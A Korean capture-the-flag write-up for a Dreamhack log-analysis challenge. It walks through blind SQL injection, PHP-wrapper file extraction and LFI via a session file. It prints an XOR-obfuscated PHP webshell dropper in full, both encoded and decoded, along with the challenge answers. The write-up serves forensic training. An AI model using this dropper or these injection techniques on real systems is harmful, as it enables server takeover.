[Dreamhack] weblog -1
문제 설명
- 주어진 코드와 로그를 분석해 주어진 질문에 해당하는 답을 찾아보세요.
풀이
문제 페이지에 접속하면 Level 0 으로 탈취된 admin 계정의 PW를 입력하라고 한다.
엑셀로 옮겨 access.log를 확인해보면 일단 아랫 부분은 sql injection이 되는지 테스트하고 있는 것으로 보인다.
아래에서는 database()의 첫 번째 글자를 blind sqli 하는 것으로 보인다. 먼저 위에서 1=1에서 참이 500에러가 났기 때문에 500에러를 일단 참으로 가정하고 보자.
보기 쉽게 500을 찾고 서식을 빨간색으로 바꿔주면 아래와 같이 조금 쉽게 찾을 수 있다.
아스키 값을 찾아 파이썬 코드로 chr 함수를 이용해 데이터베이스 이름을 보면 simple_board 라는 것을 알 수 있었다.
따라서 admin 계정의 pw 만 확인하면 되기 때문에 계정을 blind sqli 하는 부분에 대해서 값을 모아서 보면 Th1s_1s_Adm1n_P@SS 라는 값이 나오고 다음 단계로 넘어갈 수 있다.
다음 문제는 config.php 코드를 추출하는데 사용한 페이로드를 입력하라고 되어 있다.
이것도 config.php 단어로 먼저 추린 후에 아래로 내리다 보니 PHP Wrapper를 사용해서 config.php 코드를 추출하는 페이로드를 확인할 수 있었다.
다음은 LFI 취약점을 통해 코드 실행 공격에 사용된 파일의 전체 경로를 입력하라고 되어 있다.
아래 로그를 보면 memo.php에 웹쉘을 올리고 /var/lib/php/sessions/sess_ag4l8a5tbv8bkgqe9b9ull5732
경로에 접속하는 것을 보아 LFI에 사용된 파일의 전체 경로는 /var/lib/php/sessions/sess_ag4l8a5tbv8bkgqe9b9ull5732
인 것을 알 수 있다.
GET /admin/?page=memo.php&memo=%3C?php%20function%20m($l,$T=0){$K=date(%27Y-m-d%27);$_=strlen($l);$__=strlen($K);for($i=0;$i%3C$_;$i%2b%2b){for($j=0;$j%3C$__;%20$j%2b%2b){if($T){$l[$i]=$K[$j]^$l[$i];}else{$l[$i]=$l[$i]^$K[$j];}}}return%20$l;}%20m(%27bmha[tqp[gkjpajpw%27)(m(%27%2brev%2bsss%2blpih%2bqthke`w%2bmiecaw*tlt%27),m(%278;tlt$lae`av,%26LPPT%2b5*5$040$Jkp$Bkqj`%26-?w}wpai,%20[CAP_%26g%26Y-?%27));%20?%3E HTTP/1.1
172.17.0.1 - - [02/Jun/2020:09:55:39 +0000] "GET /admin/?page=/var/lib/php/sessions/sess_ag4l8a5tbv8bkgqe9b9ull5732 HTTP/1.1" 200 735 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36"
생성된 웹쉘의 경로를 입력하라고 되어있다.
아래의 웹쉘 코드를 url 디코딩하여 보면 아래와 같이 php 코드가 나온다.
172.17.0.1 - - [02/Jun/2020:09:55:16 +0000] "GET /admin/?page=memo.php&memo=%3C?php%20function%20m($l,$T=0){$K=date(%27Y-m-d%27);$_=strlen($l);$__=strlen($K);for($i=0;$i%3C$_;$i%2b%2b){for($j=0;$j%3C$__;%20$j%2b%2b){if($T){$l[$i]=$K[$j]^$l[$i];}else{$l[$i]=$l[$i]^$K[$j];}}}return%20$l;}%20m(%27bmha[tqp[gkjpajpw%27)(m(%27%2brev%2bsss%2blpih%2bqthke`w%2bmiecaw*tlt%27),m(%278;tlt$lae`av,%26LPPT%2b5*5$040$Jkp$Bkqj`%26-?w}wpai,%20[CAP_%26g%26Y-?%27));%20?%3E HTTP/1.1" 200 1098 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36"
<?php
function m($l, $T = 0) {
$K = date('Y-m-d');
$_ = strlen($l);
$__ = strlen($K);
for ($i = 0; $i < $_; $i++) {
for ($j = 0; $j < $__; $j++) {
if ($T) {
$l[$i] = $K[$j] ^ $l[$i];
} else {
$l[$i] = $l[$i] ^ $K[$j];
}
}
}
return $l;
}
m('bmha[tqp[gkjpajpw')(m('+rev+sss+lpih+qthke`w+miecaw*tlt'), m('8;tlt$lae`av,&LPPT+5*5$040$Jkp$Bkqj`&-?w}wpai, [CAP_&g&Y-?'));
?>
위 코드를 바로 실행하면 에러가 나고 파일이 실행됐던 date 값을 아래와 같이 수정해서 php 코드를 실행하면 /var/www/html/uploads/images.php
경로에 웹쉘이 생성된 것을 알 수 있다.
마지막 지문에서는 사용된 명령어를 입력하라고 되어있는데 이건 거져주는 문제로 images.php?c=whoami로 바로 아래에 로그가 찍혀있다. 입력해주면 아래와 같이 flag를 획득한 것을 볼 수 있다.
댓글남기기